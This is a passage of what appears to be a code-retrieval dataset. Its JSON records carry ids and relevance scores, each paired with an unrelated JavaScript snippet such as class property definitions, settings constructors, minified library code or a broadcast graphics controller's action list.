chrome.accessibilityPrivate.isFeatureEnabled(gameFaceFeature, enabled => {\n this.onGameFaceFetched_(enabled);\n });\n\n // AccessibilityCommon is an IME so it shows in the input methods list\n // when it starts up. Remove from this list, Dictation will add it back\n // whenever needed.\n Dictation.removeAsInputMethod();\n }", "title": "" }, { "docid": "af025d00185890eb8021c3bb123b5cef", "score": "0.47290158", "text": "static fields () {\n return {\n\n id: this.increment(),\n color: this.attr(0xffffff),\n metalness: this.attr(0),\n roughness: this.attr(0.5),\n clearCoat: this.attr(1.0),\n clearCoatRoughness: this.attr(1.0),\n reflectivity: this.attr(.5),\n polygonOffset: this.attr(true),\n polygonOffsetFactor: this.attr(1),\n polygonOffsetUnits: this.attr(1),\n wireframe: this.attr(true),\n transparent : this.attr(true),\n opacity : this.attr(.3) }\n }", "title": "" }, { "docid": "d010f26f2dbab9f04e6f9fbe7c1e0995", "score": "0.47085366", "text": "constructor(data) {\n _initDefineProp(this, 'team', _descriptor, this);\n\n _initDefineProp(this, 'rtm', _descriptor2, this);\n\n _initDefineProp(this, 'webClient', _descriptor3, this);\n\n _initDefineProp(this, 'installerUsersWebClients', _descriptor4, this);\n\n _initDefineProp(this, 'middlewares', _descriptor5, this);\n\n _initDefineProp(this, 'id', _descriptor6, this);\n\n _initDefineProp(this, 'name', _descriptor7, this);\n\n this.internalEventEmitter = new _events.EventEmitter();\n\n _flowRuntime2.default.param('data', BotConstructorArguments).assert(data);\n\n Object.assign(this, data);\n this._ctx = (0, _createContextFromBot2.default)(this);\n }", "title": "" }, { "docid": "e0c13cb184b05f63df0e79ce133eea53", "score": "0.47069046", "text": "function L(){this.Fa={}}", "title": "" }, { "docid": "cb5fc8818427ec36b2938a16276f677d", "score": "0.47037166", "text": "get Custom() {}", "title": "" }, { "docid": "210ead2f4a7a1deb1125d4cbbeb8718f", "score": "0.4697351", "text": "function A() {\n\t _classCallCheck(this, A);\n\n\t _initDefineProp(this, \"v2\", _descriptor, this);\n\n\t _initDefineProp(this, \"f2\", _descriptor2, this);\n\t } //public class field", "title": "" }, { "docid": "f059f77e2dadbd30f0d5b14a9f04a7e7", "score": "0.46802264", "text": "static get OF() {return _OF}", "title": "" }, { "docid": "5ccb516ff845ac33dd1e2b144effd7f1", "score": "0.46788526", "text": "static availableAPI(builder) {\n\t\tbuilder.state('color')\n\t\t\t.type('color')\n\t\t\t.description('The color of the light')\n\t\t\t.done();\n\n\t\tbuilder.action('color')\n\t\t\t.description('Get or set the color of this light')\n\t\t\t.argument('color', true, 'Optional color to set')\n\t\t\t.returns('color', 'The color of the light')\n\t\t\t.getterForState('color')\n\t\t\t.done();\n\n\t\tbuilder.action('setColor')\n\t\t\t.description('Set the color of this light')\n\t\t\t.argument('color', false, 'The color to set')\n\t\t\t.returns('color', 'The color of the light')\n\t\t\t.done();\n\n\t\tbuilder.event('color')\n\t\t\t.type('color')\n\t\t\t.description('The color of the light has changed')\n\t\t\t.done();\n\t}", "title": "" }, { "docid": "c53b7af3ccde551cee046549ee7cae1c", "score": "0.4668224", "text": "function _acceptName(objName){\n\t\tthis.names&&this.names.push(objName)|| this.names= [objName]\n\t\t//this.bus.setMethodCallHandler(objName, faces.introspectable.name, \"Introspect\", _introspect.bind(this))\n\t\t//this.bus.setMethodCallHandler(objName, faces.peer.name, \"GetMachineId\", _getMachineId.bind(this))\n\t\t//this.bus.setMethodCallHandler(objName, faces.peer.name, \"Ping\", _ping.bind(this))\n\t\t//this.bus.setMethodCallHandler(objName, faces.properties.name, \"Get\", _get.bind(this))\n\t\t//this.bus.setMethodCallHandler(objName, faces.properties.name, \"GetAll\", _getAll.bind(this))\n\t\t//this.bus.setMethodCallHandler(objName, faces.properties.name, \"Set\", _set.bind(this))\n\t\tfor(var f in faces){\n\t\t\tthis.bus.exportInterface(this, objName, faces[f])\n\t\t}\n\t}", "title": "" }, { "docid": "f7d0ee6277ac9ec5000c88c72db38950", "score": "0.4646721", "text": "function objectToDescriptor (o, s, f) {\n if (undefined != f) {\n o = f(o);\n }\n var d = new ActionDescriptor;\n var l = o.reflect.properties.length;\n d.putString( chr_to_type( 'Msge' ), s );\n for (var i = 0; i < l; i++ ) {\n var k = o.reflect.properties[i].toString();\n if (k == \"__proto__\" || k == \"__count__\" || k == \"__class__\" || k == \"reflect\")\n continue;\n var v = o[ k ];\n k = str_to_type(k);\n switch ( typeof(v) ) {\n case \"boolean\":\n d.putBoolean(k, v);\n break;\n case \"string\":\n d.putString(k, v);\n break;\n case \"number\":\n d.putDouble(k, v);\n break;\n default:\n {\n if ( v instanceof UnitValue ) {\n var uc = new Object;\n uc[\"px\"] = chr_to_type(\"#Rlt\"); // unitDistance\n uc[\"%\"] = chr_to_type(\"#Prc\"); // unitPercent\n d.putUnitDouble(k, uc[v.type], v.value);\n } else {\n throw( new Error(\"Unsupported type in objectToDescriptor \" + typeof(v) ) );\n }\n }\n }\n }\n return d;\n}", "title": "" }, { "docid": "625775713a7a16af940f7b6ca1a7f45a", "score": "0.46451786", "text": "function Fish(name, color, fins, type) {\n this.name = name\n this.color = color;\n this.fins = fins;\n this.type = type;\n // this.swim = function() {\n // console.log(this.name + ' swims');\n // };\n}", "title": "" }, { "docid": "f604af3627813222e8328cfcdf613e03", "score": "0.4623632", "text": "function VisitorFamily(config) {\n this._shapes = config.shapes;\n this._getTag = config.getTag;\n\n this.Adapter = function (thing, family) {\n this._adaptee = thing;\n this._family = family;\n };\n\n this.Adapter.prototype.valueOf = function () {\n throw new Error('heeey!');\n };\n\n this.operations = {};\n this._arities = Object.create(null);\n this._getChildren = Object.create(null);\n var self = this;\n Object.keys(this._shapes).forEach(function (k) {\n var shape = self._shapes[k];\n self._getChildren[k] = getWalkFn(shape); // A function means the arity isn't fixed, so don't put an entry in the arity map.\n\n if (typeof shape !== 'function') {\n self._arities[k] = Array.isArray(shape) ? shape.length : 1;\n }\n });\n\n this._wrap = function (thing) {\n return new self.Adapter(thing, self);\n };\n}", "title": "" }, { "docid": "6d293aa108ae2525e3e624f0aac20b94", "score": "0.46059528", "text": "static get properties() {\n return {\n ...super.properties,\n\n /**\n * allow grey instead of accent color, default selects a color\n */\n allowGrey: {\n type: Boolean,\n attribute: \"allow-grey\",\n },\n /**\n * optional simple-icon\n */\n icon: {\n type: String,\n },\n /**\n * invert colors\n */\n invert: {\n type: Boolean,\n attribute: \"invert\",\n reflect: true,\n },\n /**\n * text to use for avatar\n */\n label: {\n type: String,\n },\n /**\n * link to an image, optional\n */\n src: {\n type: String,\n },\n /**\n * Mode for presenting 1st two letters\n */\n twoChars: {\n type: Boolean,\n attribute: \"two-chars\",\n },\n /**\n * \"Deprecated\": Color class work to apply\n */\n color: {\n type: String,\n },\n /**\n * Form abstract art from hash of label\n */\n jdenticon: {\n type: Boolean,\n },\n };\n }", "title": "" }, { "docid": "7aff58be47cee0e1328064219f8a3e51", "score": "0.46015036", "text": "constructor({op = null, opName = '', varbs = [], diffGetters = [], isConstant = false, name = '', caculated = false, value = null, priority = 0}){\n this.fathers = [];\n this.op = op;\n this.varbs = varbs;\n this._diffGetters = diffGetters;\n this._isConstant = isConstant;\n this._name = name;\n this._caculated = caculated;\n this._value = value;\n this.opName = opName;\n this.memo = [];\n this.priority = priority;\n this.varbs.forEach((p) => {\n p.fathers.push(this);\n });\n }", "title": "" }, { "docid": "ed80e55bde3af425bf0ccf8604310fb3", "score": "0.45907664", "text": "get reflections() {}", "title": "" }, { "docid": "3ee9a5ffe70d0e1692b163ebdfa89786", "score": "0.45773152", "text": "function f(t, e, f, p, h, y) {\n n = n || r(6);\n var d = (p ? p + \".\" : \"\") + t;\n p = p || \"\", e ? Object.defineProperty(f, t, {\n enumerable: !0, configurable: !0, get: function () {\n var t, r, s = this;\n if (this.$__.getters || (this.$__.getters = {}), !this.$__.getters[d]) {\n var u = Object.create(n.prototype, (t = this, r = {}, Object.getOwnPropertyNames(t).forEach((function (e) {\n r[e] = Object.getOwnPropertyDescriptor(t, e), r[e].get ? delete r[e] : r[e].enumerable = -1 === [\"isNew\", \"$__\", \"errors\", \"_doc\", \"$locals\", \"$op\", \"__parentArray\", \"__index\", \"$isDocumentArrayElement\"].indexOf(e)\n })), r));\n p || (u.$__[c] = this), u.$__.nestedPath = d, Object.defineProperty(u, \"schema\", {\n enumerable: !1,\n configurable: !0,\n writable: !1,\n value: f.schema\n }), Object.defineProperty(u, o, {\n enumerable: !1,\n configurable: !0,\n writable: !1,\n value: f.schema\n }), Object.defineProperty(u, \"toObject\", {\n enumerable: !1,\n configurable: !0,\n writable: !1,\n value: function () {\n return a.clone(s.get(d, null, {virtuals: i(this, \"schema.options.toObject.virtuals\", null)}))\n }\n }), Object.defineProperty(u, \"$__get\", {\n enumerable: !1,\n configurable: !0,\n writable: !1,\n value: function () {\n return s.get(d, null, {virtuals: i(this, \"schema.options.toObject.virtuals\", null)})\n }\n }), Object.defineProperty(u, \"toJSON\", {\n enumerable: !1,\n configurable: !0,\n writable: !1,\n value: function () {\n return s.get(d, null, {virtuals: i(s, \"schema.options.toJSON.virtuals\", null)})\n }\n }), Object.defineProperty(u, \"$__isNested\", {\n enumerable: !1,\n configurable: !0,\n writable: !1,\n value: !0\n });\n var h = Object.freeze({minimize: !0, virtuals: !1, getters: !1, transform: !1});\n Object.defineProperty(u, \"$isEmpty\", {\n enumerable: !1,\n configurable: !0,\n writable: !1,\n value: function () {\n return 0 === Object.keys(this.get(d, null, h) || {}).length\n }\n }), Object.defineProperty(u, \"$__parent\", {\n enumerable: !1,\n configurable: !0,\n writable: !1,\n value: this\n }), l(e, u, d, y), this.$__.getters[d] = u\n }\n return this.$__.getters[d]\n }, set: function (t) {\n null != t && t.$__isNested ? t = t.$__get() : t instanceof n && !t.$__isNested && (t = t.toObject(s)), (this.$__[c] || this).$set(d, t)\n }\n }) : Object.defineProperty(f, t, {\n enumerable: !0, configurable: !0, get: function () {\n return this[u].call(this.$__[c] || this, d)\n }, set: function (t) {\n this.$set.call(this.$__[c] || this, d, t)\n }\n })\n }", "title": "" }, { "docid": "d89c7735747a22dcfb8c6dbd8e052f0d", "score": "0.45722842", "text": "function be_painted_by_other () {}", "title": "" }, { "docid": "747dca9db9c66b47a84fb4ee3ee01293", "score": "0.45683986", "text": "function enumerate() {\n var dataView = _app.find(options.id),\n echoMode = mobile.contextDataView() != mobile.dataView();\n for (var name in presenters) {\n var p = presenters[name];\n if (p.supports(dataView) && (!echoMode || (!p.echo || p.echo())))\n options.list.push({ name: name, text: p.text(), icon: p.icon(), context: { id: dataView._id, name: name }, callback: activate });\n }\n }", "title": "" }, { "docid": "a54376597418fa267ea300ca7dc804dc", "score": "0.45675236", "text": "function VisitorFamily(config) {\n this._shapes = config.shapes;\n this._getTag = config.getTag;\n\n this.Adapter = function(thing, family) {\n this._adaptee = thing;\n this._family = family;\n };\n this.Adapter.prototype.valueOf = function() {\n throw new Error('heeey!');\n };\n this.operations = {};\n\n this._arities = Object.create(null);\n this._getChildren = Object.create(null);\n\n var self = this;\n Object.keys(this._shapes).forEach(function(k) {\n var shape = self._shapes[k];\n self._getChildren[k] = getWalkFn(shape);\n\n // A function means the arity isn't fixed, so don't put an entry in the arity map.\n if (typeof shape !== 'function') {\n self._arities[k] = Array.isArray(shape) ? shape.length : 1;\n }\n });\n this._wrap = function(thing) { return new self.Adapter(thing, self); };\n}", "title": "" }, { "docid": "a54376597418fa267ea300ca7dc804dc", "score": "0.45675236", "text": "function VisitorFamily(config) {\n this._shapes = config.shapes;\n this._getTag = config.getTag;\n\n this.Adapter = function(thing, family) {\n this._adaptee = thing;\n this._family = family;\n };\n this.Adapter.prototype.valueOf = function() {\n throw new Error('heeey!');\n };\n this.operations = {};\n\n this._arities = Object.create(null);\n this._getChildren = Object.create(null);\n\n var self = this;\n Object.keys(this._shapes).forEach(function(k) {\n var shape = self._shapes[k];\n self._getChildren[k] = getWalkFn(shape);\n\n // A function means the arity isn't fixed, so don't put an entry in the arity map.\n if (typeof shape !== 'function') {\n self._arities[k] = Array.isArray(shape) ? shape.length : 1;\n }\n });\n this._wrap = function(thing) { return new self.Adapter(thing, self); };\n}", "title": "" }, { "docid": "216c3f4c341ea6d075f7d324697c9f6b", "score": "0.45600048", "text": "static get creators() {\n return {\n /**\n * @param {Object} series\n */\n series: (series) => ({\n type: this.types.SERIES,\n payload: { series }\n }),\n /**\n * @param {Array} actuators\n */\n actuatorsBuffer: (actuators) => ({\n type: this.types.ACTUATORS_BUFFER,\n payload: { actuators }\n }),\n /**\n * @param {Array} actuators\n */\n actuators: (actuators) => ({\n type: this.types.ACTUATORS,\n payload: { actuators }\n })\n };\n }", "title": "" }, { "docid": "3359bc8d9d4cfc629f894828bb3cb97c", "score": "0.45572597", "text": "function FiActivity (props) {\n return Object(_lib__WEBPACK_IMPORTED_MODULE_0__[/* GenIcon */ \"a\"])({\"tag\":\"svg\",\"attr\":{\"viewBox\":\"0 0 24 24\",\"fill\":\"none\",\"stroke\":\"currentColor\",\"strokeWidth\":\"2\",\"strokeLinecap\":\"round\",\"strokeLinejoin\":\"round\"},\"child\":[{\"tag\":\"polyline\",\"attr\":{\"points\":\"22 12 18 12 15 21 9 3 6 12 2 12\"}}]})(props);\n}", "title": "" }, { "docid": "490f399f9a0e43aff06ebb74a43219d4", "score": "0.45485377", "text": "getModuleFaces() { return this.module_faces; }", "title": "" }, { "docid": "dd61e77d8a831f93da66de71031b3941", "score": "0.4548025", "text": "static get properties(){return{/**\n * schema to extract for whatever you wanted it for\n */haxSchema:{name:\"haxSchema\",type:\"String\",notify:!0,observer:\"_haxSchemaChanged\"},/**\n * configure form schema to extract for whatever you wanted it for\n */configureSchema:{name:\"configureSchema\",type:\"Object\",value:{}},/**\n * advanced form schema to extract for whatever you wanted it for\n */advancedSchema:{name:\"advancedSchema\",type:\"Object\",value:{}},/**\n * Optional remote source to pull in\n */source:{name:\"source\",type:\"String\"},/**\n * String based value passed between the elements to stitch together\n */value:{name:\"value\",type:\"String\"}}}", "title": "" }, { "docid": "e9642f46d27ab5dd1db9b00c1966791b", "score": "0.4528143", "text": "getAttributesForFaceting() {\n return [\n \"searchable(section)\",\n ];\n }", "title": "" }, { "docid": "b1ab5f6aad7b946defb929b6e95335bc", "score": "0.45280647", "text": "get Direct() {}", "title": "" }, { "docid": "c7fa0d7da2c753dd804cd3afbecb1568", "score": "0.452804", "text": "_featChatData() {\n const data = duplicate(this.data.data),\n ad = this.actor.data.data;\n\n // Feat button actions\n data.isSave = data.save.value !== \"\";\n if ( data.isSave ) {\n let abl = data.ability.value || ad.attributes.spellcasting.value || \"str\";\n data.save.dc = 8 + ad.abilities[abl].mod + ad.attributes.prof.value;\n data.save.str = data.save.value ? this.actor.data.data.abilities[data.save.value].label : \"\";\n }\n\n // Feat attack attributes\n data.isAttack = data.featType.value === \"attack\";\n\n // Feat properties\n const props = [\n data.requirements.value,\n data.target.value,\n data.range.value,\n data.time.value,\n data.duration.value\n ];\n data.properties = props.filter(p => p);\n return data;\n }", "title": "" }, { "docid": "24bf7977e1f4dd3b7d15eb5f8bdc2ecb", "score": "0.45158494", "text": "function showFullData(){\n console.log(this.name + ' is ' + this.breed + \" type\");\n}", "title": "" }, { "docid": "66dfc8a93ec3402801692876bc7b9d73", "score": "0.45059153", "text": "function InterfaceFtn($log, BaseInterface) {\n var iface = function(config) {\n var name = 'list-viewer-v2/ListV2InterfaceObj : ';\n var ifaceInst = this;\n\n angular.merge(ifaceInst, ifaceInst, new BaseInterface()); \n\n // initialise config\n var config = config || {};\n config.header = config.header || {};\n config.events = config.events || {};\n\n // this can be put into a common base object\n ifaceInst.notify = function(eventName) {\n $log.info('notify listobj of event (came from higher level object): ' + eventName);\n var api = ifaceInst.getObjectAPI();\n api.handleChildEvent(eventName);\n };\n\n ifaceInst.config = {\n header : {\n heading: config.header.heading || null,\n headerTemplate: config.header.headerTemplate || null,\n headerObj: config.header.headerObj || null\n },\n events: {\n onCreated : config.events.onCreated || function(api) {\n $log.info(name + ' supply on created function. API passed: ' + JSON.stringify(api));\n //obj.EventHandler.events.register(api);\n },\n onSelect : config.events.onSelect || function(elem) {\n $log.info(name + ' supply on Select function');\n },\n onDeselect : config.events.onDeselect || function(elem) {\n $log.info(name + ' supply on deselect function');\n },\n onConfirm : config.events.onConfirm || function() {\n $log.info(name + ' supply on Confirm function');\n },\n onStateChange : config.events.onStateChange || function() {\n $log.info(name + ' supply on State Change function');\n },\n onEvent : config.events.onEvent || function() {\n $log.info(name + ' supply on Event function');\n }\n },\n loaderMessage: config.loaderMessage || null, \n getElementsObj : config.getElementsObj || null,\n makeElement : config.makeElement || null,\n elementTemplate: config.elementTemplate || 'app/list-viewer/_default-lve-tpl.html' \n };\n\n return ifaceInst;\n };\n return iface;\n }", "title": "" }, { "docid": "f20fb6f99b689e9f15838f5ec20f9f9e", "score": "0.45032758", "text": "export () {\n\n this.refresh_setup()\n\n return {\n filter: 'BlurFilter',\n setup: {\n name: this.setup.name,\n floor: this.setup.floor,\n time: this.setup.time,\n blendMode: this.setup.blendMode,\n switch_id: this.setup.switch_id,\n targets: this.setup.targets,\n blur: this.setup.blur,\n isTime: this.setup.isTime,\n isFloor: this.setup.isFloor\n }\n }\n }", "title": "" }, { "docid": "e16bb16eb1c9f44b3f44405bb5007579", "score": "0.449674", "text": "constructor() {\n Object.defineProperty(this, _emitter, {\n writable: true,\n value: void 0\n });\n Object.defineProperty(this, _apiType, {\n writable: true,\n value: void 0\n });\n Object.defineProperty(this, _apiUrl, {\n writable: true,\n value: void 0\n });\n Object.defineProperty(this, _camera, {\n writable: true,\n value: void 0\n });\n Object.defineProperty(this, _i18nLang, {\n writable: true,\n value: void 0\n });\n Object.defineProperty(this, _icon, {\n writable: true,\n value: void 0\n });\n Object.defineProperty(this, _ledgerConn, {\n writable: true,\n value: void 0\n });\n Object.defineProperty(this, _locking, {\n writable: true,\n value: void 0\n });\n Object.defineProperty(this, _prefix, {\n writable: true,\n value: void 0\n });\n Object.defineProperty(this, _uiMode, {\n writable: true,\n value: void 0\n });\n Object.defineProperty(this, _uiTheme, {\n writable: true,\n value: void 0\n });\n Object.defineProperty(this, _notification, {\n writable: true,\n value: void 0\n });\n const settings = store_legacy.get('settings') || {};\n _classPrivateFieldBase(this, _emitter)[_emitter] = new EventEmitter(); // will become deprecated for supporting substrate connect light clients. apiType structure should be used instead\n\n _classPrivateFieldBase(this, _apiUrl)[_apiUrl] = typeof settings.apiUrl === 'string' && settings.apiUrl || process.env.WS_URL || ENDPOINT_DEFAULT.value;\n _classPrivateFieldBase(this, _apiType)[_apiType] = {\n param: _classPrivateFieldBase(this, _apiUrl)[_apiUrl],\n type: 'json-rpc'\n };\n _classPrivateFieldBase(this, _camera)[_camera] = withDefault(CAMERA, settings.camera, CAMERA_DEFAULT);\n _classPrivateFieldBase(this, _ledgerConn)[_ledgerConn] = withDefault(LEDGER_CONN, settings.ledgerConn, LEDGER_CONN_DEFAULT);\n _classPrivateFieldBase(this, _i18nLang)[_i18nLang] = settings.i18nLang || LANGUAGE_DEFAULT;\n _classPrivateFieldBase(this, _icon)[_icon] = settings.icon || ICON_DEFAULT;\n _classPrivateFieldBase(this, _locking)[_locking] = settings.locking || LOCKING_DEFAULT;\n _classPrivateFieldBase(this, _prefix)[_prefix] = util$7.isUndefined(settings.prefix) ? PREFIX_DEFAULT : settings.prefix;\n _classPrivateFieldBase(this, _uiMode)[_uiMode] = settings.uiMode || UIMODE_DEFAULT;\n _classPrivateFieldBase(this, _uiTheme)[_uiTheme] = settings.uiTheme || UITHEME_DEFAULT;\n _classPrivateFieldBase(this, _notification)[_notification] = settings.notification || NOTIFICATION_DEFAULT;\n }", "title": "" }, { "docid": "cbecfe0e5a947ce598d85e57c7299bd1", "score": "0.4495672", "text": "oneofInfo(oneofDescriptor) {\n const messageDescriptor = this.registry.parentOf(oneofDescriptor);\n runtime_1.assert(plugin_framework_1.DescriptorProto.is(messageDescriptor));\n const interpreterType = this.interpreter.getMessageType(messageDescriptor);\n const oneofIndex = messageDescriptor.oneofDecl.indexOf(oneofDescriptor);\n runtime_1.assert(oneofIndex !== undefined);\n const sampleFieldDescriptor = messageDescriptor.field.find(fd => fd.oneofIndex === oneofIndex);\n runtime_1.assert(sampleFieldDescriptor !== undefined);\n const sampleFieldInfo = interpreterType.fields.find(fi => fi.no === sampleFieldDescriptor.number);\n runtime_1.assert(sampleFieldInfo !== undefined);\n const oneofName = sampleFieldInfo.oneof;\n runtime_1.assert(oneofName !== undefined);\n return [messageDescriptor, interpreterType, oneofName];\n }", "title": "" }, { "docid": "eca9c68426caa17ba644b505994c7f1b", "score": "0.44953865", "text": "get ( dispatch ) {\r\n\t\t\t\r\n\t\t\tdispatch ( currencies.get \t());\r\n\t\t\tdispatch ( bull.get \t\t());\r\n\t\t}", "title": "" }, { "docid": "0efa82b6673a9b8f5d7c1ec2d14981ee", "score": "0.44818875", "text": "function RendererType2() {}", "title": "" }, { "docid": "75c85425af8833112c30eb01db018c16", "score": "0.44812518", "text": "function Lighting2(rfxcom, subtype) {\n var self = this;\n\n self.rfxcom = rfxcom;\n self.subtype = subtype;\n\n if (typeof self.subtype === \"undefined\") {\n throw new Error(\"Must provide a subtype.\");\n }\n}", "title": "" }, { "docid": "75c85425af8833112c30eb01db018c16", "score": "0.44812518", "text": "function Lighting2(rfxcom, subtype) {\n var self = this;\n\n self.rfxcom = rfxcom;\n self.subtype = subtype;\n\n if (typeof self.subtype === \"undefined\") {\n throw new Error(\"Must provide a subtype.\");\n }\n}", "title": "" }, { "docid": "9745448ae3103dc696278294a9e3dc62", "score": "0.44808206", "text": "function attributeEndpoint() {\n return {\n\t\tendpoint:[\"Rectangle\", {width:5, height:5} ],\n\t\tanchor: [\"Top\"],\n deleteEndpointsOnDetach:false,\n\t\tpaintStyle:{ fillStyle:\"#0087CF\", opacity:0.5 },\n\t\tscope: \"attributes\",\n maxConnections: -1,\n\t\tconnectorStyle:{ strokeStyle:\"#0087CF\", lineWidth:2 },\n\t\tconnector : \"Straight\"\n\t};\n}", "title": "" }, { "docid": "25002cd711f0848a3fd04f2bbab14fdf", "score": "0.4479435", "text": "getActions() {\n\t\tvar actions = {\n\t\t\t'CLRA': { label: 'Clear all framebuffers (CLRA)' },\n\t\t\t'CLFB': {\n\t\t\t\tlabel: 'Clear framebuffer (CLFB)',\n\t\t\t\toptions: [\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Framebuffer',\n\t\t\t\t\t\tid: 'fb',\n\t\t\t\t\t\tdefault: 1,\n\t\t\t\t\t\tmin: 1,\n\t\t\t\t\t\tmax: 100\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t'CLFB_L': {\n\t\t\t\tlabel: 'Clear layer in framebuffer (CLFB)',\n\t\t\t\toptions: [\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Framebuffer',\n\t\t\t\t\t\tid: 'fb',\n\t\t\t\t\t\tdefault: 1,\n\t\t\t\t\t\tmin: 1,\n\t\t\t\t\t\tmax: 100\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Layer',\n\t\t\t\t\t\tid: 'layer',\n\t\t\t\t\t\tdefault: 0,\n\t\t\t\t\t\tmin: -10,\n\t\t\t\t\t\tmax: 10\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t'SWAP_A': { label: 'Load all cued items to all framebuffers (SWAP)' },\n\t\t\t'SWAP': {\n\t\t\t\tlabel: 'Load cued items in framebuffer (SWAP)',\n\t\t\t\toptions: [\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Framebuffer',\n\t\t\t\t\t\tid: 'fb',\n\t\t\t\t\t\tdefault: 1,\n\t\t\t\t\t\tmin: 1,\n\t\t\t\t\t\tmax: 100\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t'SEQI': {\n\t\t\t\tlabel: 'Load take item to air on layer (SEQI)',\n\t\t\t\toptions: [\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Take ID',\n\t\t\t\t\t\tid: 'takeID',\n\t\t\t\t\t\tdefault: 0,\n\t\t\t\t\t\tmin: 0,\n\t\t\t\t\t\tmax: 9999\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Layer',\n\t\t\t\t\t\tid: 'layer',\n\t\t\t\t\t\tdefault: 0,\n\t\t\t\t\t\tmin: -10,\n\t\t\t\t\t\tmax: 10\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t'TAKE': {\n\t\t\t\tlabel: 'Load take item to framebuffer layer (TAKE)',\n\t\t\t\toptions: [\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Take ID',\n\t\t\t\t\t\tid: 'takeID',\n\t\t\t\t\t\tdefault: 0,\n\t\t\t\t\t\tmin: 0,\n\t\t\t\t\t\tmax: 9999\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Framebuffer',\n\t\t\t\t\t\tid: 'fb',\n\t\t\t\t\t\tdefault: 1,\n\t\t\t\t\t\tmin: 1,\n\t\t\t\t\t\tmax: 100\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Layer',\n\t\t\t\t\t\tid: 'layer',\n\t\t\t\t\t\tdefault: 0,\n\t\t\t\t\t\tmin: -10,\n\t\t\t\t\t\tmax: 10\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t'DOWN': { label: 'Move sequencer focus to next item (DOWN)' },\n\t\t\t'UP': { label: 'Move sequencer focus to previous item (UP)' },\n\t\t\t'CUE': {\n\t\t\t\tlabel: 'Ready item into a framebuffer layer (CUE)',\n\t\t\t\toptions: [\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Take ID',\n\t\t\t\t\t\tid: 'takeID',\n\t\t\t\t\t\tdefault: 0,\n\t\t\t\t\t\tmin: 0,\n\t\t\t\t\t\tmax: 9999\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Framebuffer',\n\t\t\t\t\t\tid: 'fb',\n\t\t\t\t\t\tdefault: 1,\n\t\t\t\t\t\tmin: 1,\n\t\t\t\t\t\tmax: 100\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Layer',\n\t\t\t\t\t\tid: 'layer',\n\t\t\t\t\t\tdefault: 0,\n\t\t\t\t\t\tmin: -10,\n\t\t\t\t\t\tmax: 10\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t'RESUME': {\n\t\t\t\tlabel: 'Resume all layers in framebuffer (RESUME)',\n\t\t\t\toptions: [\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Framebuffer',\n\t\t\t\t\t\tid: 'fb',\n\t\t\t\t\t\tdefault: 1,\n\t\t\t\t\t\tmin: 1,\n\t\t\t\t\t\tmax: 100\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t'RESUME_L': {\n\t\t\t\tlabel: 'Resume layer in framebuffer (RESUME)',\n\t\t\t\toptions: [\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Framebuffer',\n\t\t\t\t\t\tid: 'fb',\n\t\t\t\t\t\tdefault: 1,\n\t\t\t\t\t\tmin: 1,\n\t\t\t\t\t\tmax: 100\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Layer',\n\t\t\t\t\t\tid: 'layer',\n\t\t\t\t\t\tdefault: 0,\n\t\t\t\t\t\tmin: -10,\n\t\t\t\t\t\tmax: 10\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t'UPNEXT': {\n\t\t\t\tlabel: 'Set preview to take item (UPNEXT)',\n\t\t\t\toptions: [\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Take ID',\n\t\t\t\t\t\tid: 'takeID',\n\t\t\t\t\t\tdefault: 0,\n\t\t\t\t\t\tmin: 0,\n\t\t\t\t\t\tmax: 9999\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t'FOCUS': {\n\t\t\t\tlabel: 'Set sequencer focus to take item (FOCUS)',\n\t\t\t\toptions: [\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Take ID',\n\t\t\t\t\t\tid: 'takeID',\n\t\t\t\t\t\tdefault: 0,\n\t\t\t\t\t\tmin: 0,\n\t\t\t\t\t\tmax: 9999\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t'LAYEROFF': {\n\t\t\t\tlabel: 'Take layer in framebuffer off air (LAYEROFF)',\n\t\t\t\toptions: [\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Framebuffer',\n\t\t\t\t\t\tid: 'fb',\n\t\t\t\t\t\tdefault: 1,\n\t\t\t\t\t\tmin: 